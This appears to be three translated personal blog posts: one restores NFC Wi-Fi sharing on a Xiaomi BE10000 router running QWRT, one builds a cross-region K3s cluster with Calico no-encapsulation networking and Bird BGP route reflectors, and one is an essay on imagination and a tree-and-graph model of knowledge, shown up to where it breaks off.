English Translation Title: Adapting NFC Functionality for QWRT on Xiaomi BE10000 Router Analysis After flashing the Xiaomi BE10000 with QWRT, the device's network potential is indeed greatly unleashed. Advanced features such as 2.5G optical modules and SFP+ interfaces work perfectly. The only drawback is that the factory NFC "tap to connect to Wi-Fi" feature no longer works. After researching, the NFC tag is essentially an EEPROM chip mounted on the motherboard. Using i2cdetect for scanning: root@QWRT:~# i2cdetect -l i2c-1 i2c QUP I2C adapter I2C adapter i2c-2 i2c QUP I2C adapter I2C adapter i2c-0 i2c QUP I2C adapter I2C adapter root@QWRT:~# i2cdetect -y -r 0 0 1 2 3 4 5 6 7 8 9 a b c d e f 00: -- -- -- -- -- -- -- -- -- -- -- -- -- 10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 50: -- -- -- -- 54 -- -- -- -- -- -- -- -- -- -- -- 60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 70: -- -- -- -- -- -- -- -- The scan results quickly pinpoint the device attached to I2C bus 0 at physical address 0x54. NFC tap-to-connect-to-Wi-Fi uses standard NDEF format data (Ref: Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation). Therefore, simply writing the data into the EEPROM according to the standard can restore the NFC tap-to-connect functionality. Implementation This article discusses only low-level hardware driver adaptation and NDEF standard protocol encapsulation for the OpenWrt/QWRT system. The hardware parameters mentioned are derived from public specification documents and generic I2C debugging tools. This project is for personal research interest and does not include or distribute any vendor-proprietary binary code. It is intended for technical exchange and learning only. Do not use for commercial purposes. Any risk of device damage resulting from attempts described herein shall be borne solely by the reader. Extract Data and Construct NDEF Payload To automatically update NFC data based on Wi-Fi credentials, we first need to obtain the current Wi-Fi SSID and password. On OpenWrt, these configurations are managed entirely by UCI (Unified Configuration Interface). Therefore, we only need to read the wireless configuration file from UCI. To ensure compatibility with modern smartphones, early devices typically used a Device Password Token to trigger WPS negotiation, but modern Android/iOS systems have restricted this behavior. For broader compatibility, we must follow the Wi-Fi Simple Configuration (WSC) specification and package the configuration as a WLAN Configuration Token (credential configuration token). (Ref: Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation) Map OpenWrt's wireless encryption modes (e.g., WPA2, WPA3-SAE) precisely to the hex codes defined by the WSC specification: 0x1003: Authentication Type 0x100F: Encryption Type 0x1045: SSID 0x1027: Network Key (password) Through a script, we automatically traverse and select the primary AP bridged to lan (e.g., wifi0), convert its attributes to hex strings, and produce a standard NDEF payload. Write to NFC EEPROM When the NFC EEPROM receives a long string of NDEF data, writing too quickly or in excessively large blocks per write can easily cause the chip's I2C state machine to lock up. After testing, we chose to use the i2ctransfer tool for atomic fragmented writes. Two critical timing details: Due to communication limitations, each loop slices only 4 bytes, with auto-incrementing register addresses. Between each 4-byte block write, a 10 ms delay is enforced to allow sufficient internal erase/write time for the chip. Finally, any remaining data less than 4 bytes is padded with 0x00. Automatically Trigger Writes on Wi-Fi Configuration Changes To closely follow OpenWrt's architecture, we initially tried using hooks but found they often failed. Eventually, three fallback layers were added: LuCI frontend trigger: Register a hook under /etc/uci-defaults/ to bind the NFC sync script to the system's ucitrack mechanism. When a user modifies the Wi-Fi password in LuCI and clicks "Save & Apply", the system automatically updates the NFC data in the background. Hotplug layer: Add a hotplug event listener in /etc/hotplug.d/iface/70-nfc. When the router's lan or wifi interface changes to ifup state, the system automatically triggers the sync. Cron job: If none of the above triggers work, a cron job forces a check every 15 seconds to determine if an NFC update is needed. Additionally, considering that the NFC EEPROM has limited write endurance, if the network interface restarts even once and triggers a full rewrite, the chip would soon wear out. Therefore, a simple hash check mechanism is introduced in the underlying nfc-sync script: When the script is awakened, it first extracts the current wireless configuration and calculates its MD5 hash. It compares this hash with the old hash cached in /var/run/nfc-wireless.md5. Only when the MD5 value actually changes does it issue the I2C write command. Otherwise, the process terminates immediately. Combined with a concurrent file lock (/var/lock/nfc-sync.lock), this logic ensures that the NFC hardware's lifespan is absolutely protected against any network flapping or multiple concurrent events. After testing, automatic updating works as expected: !Pasted image 20260525230448.png Code repository: KaguraiYoRoy/be10000-qwrt-nfc: NFC Userland Implementation of QWRT for Xiaomi BE10000 (RC01) Router References: Wi-Fi Simple Configuration — ndeflib 0.3.2 documentation
Building a Cross-Region K3s Cluster from Scratch - Calico No-Encapsulation CNI
# Preface I've actually wanted to play with a K8s cluster for a long time, but always felt that without sufficient knowledge, it would be too difficult to attempt. Recently, I spent some time studying DN42 and routing protocols like BGP and OSPF, and realized that it no longer feels so difficult. So I decisively started with K3s ( The main reason for choosing K3s over K8s is its lightweight nature: low resource requirements, no need to pull a bunch of images for deployment, availability of domestic mirrors… In short, K3s suits my needs better. I'm a beginner just starting to explore K3s, so please go easy on me if I make any mistakes~ # Analysis ## Choosing the CNI Component My current network architecture looks like this: ```mermaid graph TD subgraph ZeroTier Domestic subgraph WDS Gateway <--> VM1 Gateway <--> VM2 end NGB <--> Gateway HFE-NAS <--> Gateway NGB <--> HFE-NAS end subgraph IEPL Global-NIC <==OSPF==> CN-NIC end subgraph ZeroTier Global HKG02 <--> HKG04 TYO <--> HKG04 TYO <--> HKG02 end CN-NIC <--> NGB CN-NIC <--> HFE-NAS CN-NIC <--OSPF--> Gateway Global-NIC <--OSPF--> TYO Global-NIC <--OSPF--> HKG02 Global-NIC <--OSPF--> HKG04 %% Style definition: orange background, bold border to represent routers classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold; class Global-NIC,CN-NIC,Gateway router; Among this, the WDS node is a Proxmox VE host with multiple VMs underneath. It advertises its VMs' IPv4 prefixes via OSPF. When Hong Kong nodes need to access a VM under the WDS node, they can do so by joining the OSPF internal network to achieve multi-hop reachability. This keeps the encapsulation layer count to only one, so there's no worry about MTU "disappearing act". I plan to create two new VMs under WDS to serve as the master and a node (temporarily called KubeMaster and KubeNode-WDS1). Then HKG04 (temporarily called KubeNode-HKG04) will also join the K3s cluster as a node. The simplest approach would be to use K3s's default Flannel as the CNI. However, Flannel is based on VXLAN, and adding another layer of my existing internal network would lead to the following MTU "disappearing act": Data packet -> Flannel VXLAN encapsulation -> ZeroTier encapsulation -> Physical link The actual usable MTU for inter-container communication would likely be compressed to 1350 or even lower. Therefore, I tried to find a CNI solution that can work directly on top of this internal network, and then I found Calico. As I understand, Calico uses BGP as its underlying routing protocol, supports starting in no-encapsulation (No-Encap) mode, and hands packets directly to the upper routers for routing. Thus, I chose Calico as the CNI component. Routing Design To ensure that intermediate routers know how to route Pod IPs, KubeMaster and KubeNode-WDS1 are under the Proxmox VE host. They need to establish BGP with HKG04 across the entire internal network. This means that every router at each intermediate level must learn the full BGP routes, so that the following routing path can be established: graph LR subgraph WDS KubeMaster KubeNode-WDS1 Gateway end subgraph IEPL CN-Namespace Global-Namespace end KubeNode-WDS1 <--> Gateway KubeMaster <--> Gateway <--> CN-Namespace <--> Global-Namespace <--> HKG04 %% Style definition: highlight nodes with routing capability classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold; class Gateway,CN-Namespace,Global-Namespace router; Otherwise, any intermediate hop would drop packets because it doesn't recognize the source/destination IP. Also, due to the property of iBGP that routes learned from a neighbor cannot be propagated to the next iBGP neighbor, all BGP sessions between Gateway, CN-Namespace, Global-Namespace and the nodes need to enable Route Reflector; otherwise, nodes cannot correctly learn routes from each other. That said, this architecture would be more suitable for BGP Confederation, but my existing network is already quite complex, and adding BGP confederations would make later maintenance more troublesome. Moreover, my number of nodes is small, so the overhead of iBGP Full Mesh is acceptable. It's definitely not because I'm lazy (so Thus, the final network routing structure is as follows: graph TD subgraph WDS VM1 VM2 Gateway end subgraph IEPL CN-Namespace Global-Namespace end VM1 <-.Calico iBGP Full Mesh.-> VM2 VM1 <--iBGP Route Reflector--> Gateway VM2 <--iBGP Route Reflector--> Gateway <--iBGP--> CN-Namespace <--iBGP--> Global-Namespace <--iBGP Route Reflector--> HKG04 Gateway <--iBGP--> Global-Namespace HKG04 <-.Calico iBGP Full Mesh.-> VM1 VM2 <-.Calico iBGP Full Mesh.-> HKG04 %% Style definition classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold; %% Mark nodes with routing/forwarding or RR functions as Router class Gateway,CN-Namespace,Global-Namespace router; The dashed-line BGP sessions are automatically created by Calico, while the solid-line parts need to be manually created by us. Keeping Calico's own iBGP Full Mesh is for future scalability, so that nodes can preferentially establish direct P2P connections via ZeroTier instead of taking a detour through the Route Reflector aggregation router. Deployment After clarifying the structure, deployment becomes simple. Enable Kernel Forwarding and Disable rp_filter Standard practice. echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf echo "net.ipv6.conf.default.forwarding=1" >> /etc/sysctl.conf echo "net.ipv6.conf.all.forwarding=1" >> /etc/sysctl.conf echo "net.ipv4.conf.default.rp_filter=0" >> /etc/sysctl.conf echo "net.ipv4.conf.all.rp_filter=0" >> /etc/sysctl.conf sysctl -p Install K3s Master Because the KubeMaster control plane node is located inside China, it's best to configure image acceleration: mkdir -p /etc/rancher/k3s cat <<EOF > /etc/rancher/k3s/registries.yaml mirrors: docker.io: endpoint: - "https://docker.m.daocloud.io" quay.io: endpoint: - "https://quay.m.daocloud.io" EOF Install using the mirror: curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | \ INSTALL_K3S_MIRROR=cn INSTALL_K3S_EXEC=" \ --flannel-backend=none \ --disable-network-policy \ --cluster-cidr=10.42.0.0/16" sh - Note the need to specify --flannel-backend=none and --disable-network-policy to disable the default CNI component. Use cat /var/lib/rancher/k3s/server/node-token to view the token and record it. Worker Nodes For nodes inside China, configure image acceleration: mkdir -p /etc/rancher/k3s cat <<EOF > /etc/rancher/k3s/registries.yaml mirrors: docker.io: endpoint: - "https://docker.m.daocloud.io" quay.io: endpoint: - "https://quay.m.daocloud.io" EOF Then install K3s using the mirror and join the cluster: export INSTALL_K3S_MIRROR=cn export K3S_URL=https://<master node IP>:6443 # Replace with your master node's actual IP export K3S_TOKEN=K10...your token...::server:xxx # Replace with the full token obtained in the first step curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | sh - At this point, the status of each node should be NotReady because the CNI component is missing. Install Calico and Configure No-Encap Mode On the master, manually download https://raw.githubusercontent.com/projectcalico/calico/v3.26.1/manifests/tigera-operator.yaml and install the Calico operator: kubectl create -f tigera-operator.yaml Configure a custom resource by creating a custom-resource.yaml file: apiVersion: operator.tigera.io/v1 kind: Installation metadata: name: default spec: # Add image registry configuration registry: quay.m.daocloud.io calicoNetwork: ipPools: - blockSize: 26 cidr: 10.42.0.0/16 encapsulation: None natOutgoing: Enabled nodeSelector: all() Here, specify encapsulation: None to enable No-Encap mode. You can also modify the IPv4 CIDR here if needed. Then: kubectl apply -f custom-resource.yaml to perform the installation. Use: kubectl get pods -A -o wide to check Pod status, waiting for each node to finish pulling images. Configure BGP Topology Label Nodes Label nodes to specify that nodes under WDS connect to the Gateway's BGP in the WDS node, and nodes outside China connect to the BGP of the Global Namespace: kubectl label nodes kubemaster region=WDS kubectl label nodes kubenode-wds-1 region=WDS kubectl label nodes kubenode-hkg04 region=Global Calico Configuration Create a YAML configuration file: apiVersion: crd.projectcalico.org/v1 kind: BGPPeer metadata: name: route-reflector-domestic spec: nodeSelector: region == 'Domestic' # This part is not actually used; I originally designed a general aggregation router in the Domestic area peerIP: 100.64.0.108 asNumber: 64512 --- apiVersion: crd.projectcalico.org/v1 kind: BGPPeer metadata: name: route-reflector-wds spec: nodeSelector: region == 'WDS' peerIP: 192.168.100.1 asNumber: 64512 --- apiVersion: crd.projectcalico.org/v1 kind: BGPPeer metadata: name: route-reflector-global spec: nodeSelector: region == 'Global' peerIP: 100.64.1.106 asNumber: 64512 This means: All nodes with label region equal to Domestic will have a BGP session to 100.64.0.108 (the domestic aggregation router) using AS 64512 All nodes with label region equal to WDS will have a BGP session to 192.168.100.1 (the Gateway for all VMs under the WDS node) using AS 64512 All nodes with label region equal to Global will have a BGP session to 100.64.1.106 (the overseas aggregation router) using AS 64512 This achieves what is shown in the diagram: all VMs under the WDS node, including the master and KubeNode-WDS1, connect to the Gateway aggregation router of the WDS node, and all nodes in overseas areas connect to the overseas aggregation router. Configure Aggregation Router iBGP This part is simply a matter of writing Bird configuration files (easy). Here are a few examples: k3s/ibgp.conf: function is_insider_as(){ if bgp_path.len > 0 && !(bgp_path ~ [= 64512 =]) then { return false; } if net ~ [ 10.42.0.0/16{16,32} ] then { return true; } return false; } template bgp k3sbackbone{ local as K3S_AS; router id INTRA_ROUTER_ID; neighbor as K3S_AS; ipv4{ table intra_table_v4; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; extended next hop; }; ipv6{ table intra_table_v6; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; }; }; template bgp k3speers{ local as K3S_AS; neighbor as K3S_AS; router id INTRA_ROUTER_ID; rr client; rr cluster id INTRA_ROUTER_ID; ipv4{ table intra_table_v4; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; }; ipv6{ table intra_table_v6; import filter{ if is_insider_as() then accept; reject; }; export filter{ if is_insider_as() then accept; reject; }; next hop self; }; }; include "ibgpeers/*"; ibgpeers/backbone-cn.conf: protocol bgp 'k3s_backbone_cn_v4' from k3sbackbone{ neighbor fd18:3e15:61d0:cafe:f001::1; }; ibgpeers/master.conf: protocol bgp 'k3s_master_v4' from k3speers{ neighbor 192.168.100.251; }; Main points: it's best not to enable Route Reflector between the aggregation routers, and remember to enable next hop self. After everything is done, using kubectl get nodes should show all nodes as Ready: NAME STATUS ROLES AGE VERSION kubemaster Ready control-plane 2d23h v1.34.5+k3s1 kubenode-hkg04 Ready <none> 11h v1.34.6+k3s1 kubenode-wds-1 Ready <none> 2d7h v1.34.5+k3s1 Use kubectl get pods -A -o wide to view Pods: NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES calico-system calico-kube-controllers-64fc874957-6bdlz 1/1 Running 0 5h38m 10.42.253.136 kubenode-hkg04 <none> <none> calico-system calico-node-2qz82 1/1 Running 0 4h24m 10.2.5.7 kubenode-hkg04 <none> <none> calico-system calico-node-dhl2c 1/1 Running 0 4h24m 192.168.100.251 kubemaster <none> <none> calico-system calico-node-nbpkj 1/1 Running 0 4h23m 192.168.100.252 kubenode-wds-1 <none> <none> calico-system calico-typha-7bb5db4bdc-rfpwg 1/1 Running 0 5h38m 10.2.5.7 kubenode-hkg04 <none> <none> calico-system calico-typha-7bb5db4bdc-rwwr5 1/1 Running 0 5h38m 192.168.100.251 kubemaster <none> <none> calico-system csi-node-driver-jglwp 2/2 Running 0 5h38m 10.42.64.68 kubenode-wds-1 <none> <none> calico-system csi-node-driver-jqjsc 2/2 Running 0 5h38m 10.42.253.137 kubenode-hkg04 <none> <none> calico-system csi-node-driver-vk26s 2/2 Running 0 5h38m 10.42.141.16 kubemaster <none> <none> kube-system coredns-695cbbfcb9-8fx4p 1/1 Running 1 (7h27m ago) 2d23h 10.42.141.14 kubemaster <none> <none> kube-system helm-install-traefik-crd-5bkwx 0/1 Completed 0 2d23h <none> kubemaster <none> <none> kube-system helm-install-traefik-m9fgj 0/1 Completed 1 2d23h <none> kubemaster <none> <none> kube-system local-path-provisioner-546dfc6456-dmn4g 1/1 Running 1 (7h27m ago) 2d23h 10.42.141.15 kubemaster <none> <none> kube-system metrics-server-c8774f4f4-2wkwh 1/1 Running 1 (7h27m ago) 2d23h 10.42.141.12 kubemaster <none> <none> kube-system svclb-traefik-999cddce-hpmcm 2/2 Running 6 (7h26m ago) 11h 10.42.253.134 kubenode-hkg04 <none> <none> kube-system svclb-traefik-999cddce-q4225 2/2 Running 2 (7h27m ago) 2d22h 10.42.141.9 kubemaster <none> <none> kube-system svclb-traefik-999cddce-xmd64 2/2 Running 2 (7h26m ago) 2d6h 10.42.64.66 kubenode-wds-1 <none> <none> kube-system traefik-788bc4688c-vbbhj 1/1 Running 1 (7h27m ago) 2d22h 10.42.141.13 kubemaster <none> <none> tigera-operator tigera-operator-6b95bbf4db-vl46l 1/1 Running 1 (7h27m ago) 2d23h 192.168.100.251 kubemaster <none> <none> Use kubectl exec -it -n calico-system <calico-node-xxxx> -- birdcl s p to check the status of Bird: root@KubeMaster:~/kube/calico# kubectl exec -it -n calico-system calico-node-2qz82 -- birdcl s p Defaulted container "calico-node" out of: calico-node, flexvol-driver (init), install-cni (init) BIRD v0.3.3+birdv1.6.8 ready. name proto table state since info static1 Static master up 08:58:17 kernel1 Kernel master up 08:58:17 device1 Device master up 08:58:17 direct1 Direct master up 08:58:17 Mesh_192_168_100_251 BGP master up 08:58:33 Established Mesh_192_168_100_252 BGP master up 08:59:00 Established Node_100_64_1_106 BGP master up 12:57:44 Established ip r shows the system routing table: root@KubeMaster:~/kube/calico# ip r default via 192.168.100.1 dev eth0 proto static 10.42.64.64/26 proto bird nexthop via 192.168.100.1 dev eth0 weight 1 nexthop via 192.168.100.252 dev eth0 weight 1 blackhole 10.42.141.0/26 proto bird 10.42.141.9 dev caliac6501d3794 scope link 10.42.141.12 dev calib07c23291bb scope link 10.42.141.13 dev caliab16e60bd19 scope link 10.42.141.14 dev calid5959219080 scope link 10.42.141.15 dev cali026d8f1ddb7 scope link 10.42.141.16 dev califa657ba417a scope link 10.42.253.128/26 via 192.168.100.1 dev eth0 proto bird 192.168.100.0/24 dev eth0 proto kernel scope link src 192.168.100.251 Ping a Pod's IP – if everything is fine, it should work directly: root@KubeMaster:~/kube/calico# ping 10.42.253.137 PING 10.42.253.137 (10.42.253.137) 56(84) bytes of data. 64 bytes from 10.42.253.137: icmp_seq=1 ttl=60 time=33.7 ms 64 bytes from 10.42.253.137: icmp_seq=2 ttl=60 time=33.5 ms ^C --- 10.42.253.137 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 33.546/33.632/33.718/0.086 ms Tune MTU This step is actually for stability…? Tests have shown that although my ZeroTier MTU is 1420, packets start to fragment around 1392 bytes (test with ping -M do -s <packet size> <Pod_IP>). Therefore, force the Pod MTU to 1370: root@KubeMaster:~/kube/calico# cat patch-mtu.yaml apiVersion: operator.tigera.io/v1 kind: Installation metadata: name: default spec: calicoNetwork: mtu: 1370 nodeAddressAutodetectionV4: firstFound: true root@KubeMaster:~/kube/calico# kubectl apply -f patch-mtu.yaml installation.operator.tigera.io/default configured
From Reflections on Imagination to Cognition, Creativity, and the Logic Tree
Starting Point: Thoughts Sparked by a Debate Topic While scrolling through my social feed, I saw a friend post this: Keep thinking to keep your mind sharp. Today’s Debate: Does imagination increase with the level of cognitive development, or does it decrease? My initial thought was, "This definitely isn't the whole picture." Based on my own experience, when I'm genuinely interested in researching or learning something, I not only learn it quickly but can also apply and build upon it. Conversely, I find the knowledge taught in school uninteresting and feel no desire to apply or innovate with it. So, I came up with my first version of an answer: Personally, I think it depends on how one's cognitive level increases. If it's through forced learning, the content is passively received. People won't find it interesting or worth thinking about. In this case, it likely won't expand imagination. But if it's a spontaneous pursuit of knowledge, an increase in cognitive level won't extinguish curiosity about the unknown. In this scenario, a higher cognitive level allows imagination to delve deeper and become more logically coherent on this basis. Later, that friend replied, "So, rote education really stifles creativity and imagination," and I agreed. But was the discussion over...? The Thinking Phase First Deepening: Logical Coherence In my initial reply, I mentioned logical coherence. I didn't think much of it at the time, but upon reflection later, I realized this could well explain the skeleton of imagination: Imagination is the process of conducting logical deductions and envisioning possibilities based on existing knowledge, all within the current logical framework: As children, our wild fantasies stemmed from knowing very little. We could only make inferences and assumptions based on our limited understanding of everyday physics. They were logically coherent within that simple framework. As adults, with more knowledge, our fantasies transform into creation. This is also driven by imagination, but it's a purposeful, directional advance within the framework of existing knowledge. It is also logically coherent. Essentially, both are about imagination constructing a "plausible" world. The difference lies solely in the foundational knowledge and logical systems used during construction. Foundational knowledge comes from learning, while the logical system comes from our understanding of life and the world – our life experiences. An increase in cognitive level merely changes the rules that "coherence" must follow. Childhood "coherence" follows story logic, while adult "coherence" follows scientific and social logic. Furthermore, when cognitive level is low, due to a simpler knowledge system, imagination often produces disconnected points, each potentially coherent on its own. As cognitive level increases, we gradually construct a complete, vast, and interconnected knowledge system of the world. Imagining within this framework to achieve global logical coherence is precisely the purposeful, directional creation mentioned earlier. Following this line of thought, we could even say the real challenge brought by increased cognition isn't losing the ability for "logical coherence," but rather maintaining the vitality of "logical coherence" when the knowledge system becomes too large – that is, preventing the existing framework from becoming a cage, allowing imagination to still find new combinations in the gaps. Second Deepening: The Boundaries of Everyday Experience From the above, it's easy to think that maintaining the logical coherence of imagination relies heavily on our understanding of the world and on everyday experience. This raises a new question: When a person's knowledge accumulation surpasses their personal everyday experience, how can they maintain this logical coherence in imagination? In other words, when the knowledge we acquire is completely beyond the scope of our direct understanding, how should we expand and diverge based on it? During this reflection, I realized the premise itself might be incomplete. Consider two examples: For me, I enjoy the process of designing and implementing computer software and building networks. From my perspective, this falls within the realm of everyday experience. For a friend of mine who loves mathematics, deriving advanced calculus equations is something within his everyday experience. These two examples illustrate well: "Everyday experience" itself is a benchmark that shifts as one's cognitive level changes. From this, we can infer: Cognition Reshapes the Boundaries of "Everyday": My friend enjoys deriving calculus because its symbols and logic have integrated into his cognitive framework, becoming a part of his thinking. Thus, he can intuitively imagine and explore within the logic of advanced math. For me, tinkering with computers is similarly based on my internalized knowledge system, making its content feel like everyday experience. The Multifaceted Nature of Imagination: When someone possesses deep cognition in a field, their imaginative activities within that field might seem like incomprehensible creations to an observer, but to themselves, it might just be an "everyday," intuitive deduction. Imagination hasn't disappeared; it has permeated the underlying layers of thought, becoming an ability to skillfully achieve "logical coherence" and explore possibilities within a professional framework. What outsiders see as "transcendence," the individual experiences as "everyday." Thus, the original debate topic is incomplete. Its flaw lies in presupposing a universally average cognitive level and standard of everyday experience, whereas they are actually highly individualistic. An increase in cognitive level means the domain where one can "transcend everyday experience" expands. Thoughts that seem fantastical to others are, for the thinker, rigorous deductions based on solid theory. Increasing cognition is the process of continuously transforming what was once "beyond everyday experience" into "everyday experience." In this process, imagination doesn't diminish; it changes form – from unconstrained fantasy to logically coherent creation within an existing framework. Furthermore, we can conclude that this type of imagination, based on deep cognition and "routinized" knowledge, and childhood imagination based on common sense and naivety, are essentially the same thing: a yearning for the unknown. However, because they operate under different constraints – one bound by a comprehensive knowledge system, the other by a shallow understanding of physical laws – their manifestations differ significantly. Summary At this point, we've summarized several key points: Imagination isn't just wild fancy; it's the pursuit of logical coherence within an existing framework. "Everyday experience" is a moving benchmark; it represents the boundaries of the knowledge system one can flexibly use and expands as one learns. Increasing cognitive level doesn't destroy imagination; it reshapes the rules by which it achieves coherence. Therefore, the answer to the debate topic cannot be a simple "increases" or "decreases." It depends on the method of cognitive growth and the observer's perspective. Model Construction From the above questions, I couldn't help but wonder: what should an individual's knowledge system structure look like? How do we organize scattered pieces of knowledge into a system capable of supporting "logical coherence"? And how do we create new content within this system through creativity? Introducing the Tree Model First, I thought of a graph theory structure: Individual knowledge points are discrete nodes. Learning is the process of creating new nodes. Reviewing and applying knowledge is about linking nodes to the existing knowledge system. This explains why just studying without practice doesn't lead to good understanding – because without establishing connections, the node remains isolated. We can't link the knowledge point to our existing system, preventing us from recalling it when faced with related problems. In other words, it fails to become internalized as part of "everyday experience." Then I realized this model might be too flat for explaining knowledge structures. Real knowledge systems often have strict hierarchical and containment relationships, so I thought a tree structure might be more suitable: Knowledge points often have distinct levels. Relationships between points include logical connections like derivation and inverse application, implying parent-child or hierarchical links. Based on this, I attempted to construct a tree-structured knowledge map. Nodes are knowledge units. Edges are logical relationships, such as dependency, inheritance, instantiation. Root nodes are underlying principles/axioms. Leaf nodes are derived theorems/phenomena/applications. The process of building knowledge is: Everyone starts from the nodes they know. Learning new things is expanding the system upward, towards the root nodes. Innovation and imagination involve exploring downward from existing nodes to derive new child nodes. Thus, the more we know, the more nodes we have from which we can branch out further. Based on this model, we can explain the previously mentioned "constraint of cognition on creativity" and why passive learning fails to expand it: Parent Nodes Constrain Child Nodes' Content: What kind of child nodes a node can produce isn't random; it must satisfy the logical constraints and relationships of the parent node. Exercising imagination essentially means instantiating new, valid nodes within the limits permitted by the parent knowledge system. Passive Learning: It merely adds some isolated nodes to the tree, or establishes only shallow references. Although these nodes exist in the knowledge tree, they lack upward connections to existing knowledge points. When we need to explore downwards through imagination, we might know of their existence, but they can't generate new, effective connections. However, this model still couldn't explain some things: It couldn't account for knowledge from multiple different domains. Many knowledge points are interwoven or even cross-disciplinary. This model couldn't explain the phenomenon of cross-domain application of knowledge. Therefore, I considered whether a more comprehensive model could be built. Multi-Root, Multi-Tree + Graph Connections To explain different domains and cross-disciplinary links, I revisited the initial graph theory idea but retained the tree structure: The human cognitive system consists of multiple independent tree structures. Different trees represent knowledge in different domains. These tree structures and their child nodes are interconnected through a network of links, forming a complex network that possesses both hierarchical depth and lateral connectivity. Knowledge exists as nodes and edges, and mental activities (learning, understanding, imagining, creating) are essentially the traversal, restructuring, and expansion of this network. Model Components This model comprises Nodes, Edges, Root Nodes, Trees, and Canopies: Node: A unit of knowledge, which could be a concept, fact, phenomenon, or skill. Edge: Represents a logical relationship between nodes. These can be further divided into two types: Tree Edge: Represents inheritance, derivation, or causal relationships within a tree ("is a kind of," "is part of," "can be derived from"). Network Edge: Represents associative, analogical, or combinable relationships between trees or their child nodes ("is similar to," "can be combined with," "symbolizes"). Root: As in the previous tree model, it represents the underlying principle or first-principle assumption of a domain, like the laws of physics for physics. Tree: A hierarchical structure composed of a root node and all its descendants. The interior of a tree is completely logically coherent. Root nodes of different trees may not have derivational relationships, but their child nodes often do. Canopy: The top region of a tree, representing the specific practices, phenomena, applications, or experiential knowledge of a domain. The canopy is often a dense area for network edges because concrete practices usually involve knowledge from multiple domains. Operational Mechanisms 1. Learning Tracing Roots Upward: Starting from a node, follow tree edges towards the root to understand its principles. Branching Downward: Starting from a node, follow tree edges towards the leaves to explore its applications. 2. Understanding Assimilation: A new node finds a suitable parent and is attached to an existing tree. Accommodation: A new node cannot be attached -> Adjust the root node or reorganize branches -> Restructure the tree. Cross-Tree Connection: A new node attaches to multiple trees simultaneously, or establishes network edges between trees. 3. Imagination and Creation The core operation of imagination is: Establishing new network edges between nodes of seemingly unrelated trees. Discover that a node in Tree A can connect to a node in Tree B. Follow this new edge, and through association, synthesis, etc., grow a new node that didn't exist before. 4. Forgetting and Invalidation Isolated Node: A node exists but has no effective edges connecting it to any tree -> Cannot be recalled, cannot participate in creation or thought processes. Weak Connections: Network edges unused for a long time -> Their weight decreases -> Hard to activate -> Forgetting. Properties This model possesses the following properties: Hierarchy: Each tree has a clear internal structure: Root (principle/axiom) -> Child Nodes (core inferences) -> Child Nodes (sub-fields) -> Leaf Nodes (phenomena/applications). Modularity: Each tree is relatively independent and can grow on its own. Connectivity: Any nodes between trees can potentially connect based on association or cross-disciplinary application, but due to root node characteristics, connections typically occur between child nodes and leaves. Growth: Vertical Growth: Learning towards root nodes (understanding principles) and expanding applications towards leaf nodes (deriving applications) within a tree. Horizontal Growth: Creating new knowledge or applications between trees through association, synthesis, etc. Robustness and Fragility: Damage to part of a single tree doesn't affect the operation of other trees. If the root node of a tree is disproven, causing the entire tree to collapse, it can implicate a large part of its interconnected neighbors. The Tree Part: Ensures Logical Structure The tree structure provides hierarchy and derivational relationships – vertical connections: Root -> Child -> Grandchild represents the deductive path from principle to phenomenon. Tracing roots upward is seeking principles; branching downward is exploring practical applications. The existence of trees allows thoughts to be abstracted into a complete system, preventing them from becoming scattered. The Graph Part: Explains Cross-Disciplinary Phenomena The network connections provide associative links and emergence – horizontal connections: A node from Tree A can attach directly to a node in Tree B. These cross-tree connections embody analogy, metaphor, and cross-disciplinary innovation. I personally think this structure can quite comprehensively explain the operation and interrelation of today's knowledge systems. For instance, in modern history, the disproving of the "geocentric model" led to a restructuring of all astronomy based on it. Similarly, rote learning only inputs isolated nodes without building sufficient connections, preventing their proper use. Explaining Phenomena The Emergence of Imagination: Profound innovation often isn't just digging deeper within one tree, but attaching a child node from Tree A onto a child node from Tree B, thereby creating something new. The more such cross-tree connections exist, the richer the potential for branching out downwards. Thorough Understanding (Ronghui Guantong): This is essentially creating cross-tree indices. Ordinary people might only make connections within a single tree, e.g., "array" and "linked list" in a "Data Structures" tree. But an expert might connect "hash table" (from the Data Structures tree) with "cache" (from the Computer Architecture tree), giving rise to a new node like "cache-friendly hash table design." Reusing Isolated Nodes: A node might be isolated within its original tree, but later, with an expanded knowledge scope, a suitable attachment point is found, allowing it to be utilized and understood. Meanwhile, this model also explains the initial question: Does imagination disappear? No, it merely exists in a different form. Visualization Personal Experience Let me give my own example. I used to struggle with understanding why the Internet is called a "net." My perception of the Internet was limited to the purely tree-like structure of my home router. Based on this, I couldn't understand that by extrapolation, there would have to be a single "super router" responsible for all core data forwarding globally, which obviously defies physical reality. Later, I self-studied routing protocols like BGP and OSPF, and suddenly I understood why it's a network. BGP and OSPF perfectly illustrate how routing information propagates through a mesh structure, fundamentally enhancing my understanding of the Internet. Based on this new understanding, I used tools like ZeroTier and Bird to build my own SD-WAN, creating a large, multi-hop intranet. This example fits the model well: Old Cognition: Centralized model (global super-router required). Cognitive Conflict: The conclusion derived from this model doesn't match reality. New Knowledge Acquisition: BGP, OSPF. Cognitive Restructuring: Understanding the Internet as a "mesh network" structure. Creation: Building an SD-WAN using ZeroTier and Bird based on the new model. Limitations and Boundaries Throughout this, I've tried to build a model using rational analysis. However, I also realize some phenomena can't be explained by it, such as emotions and feelings. They 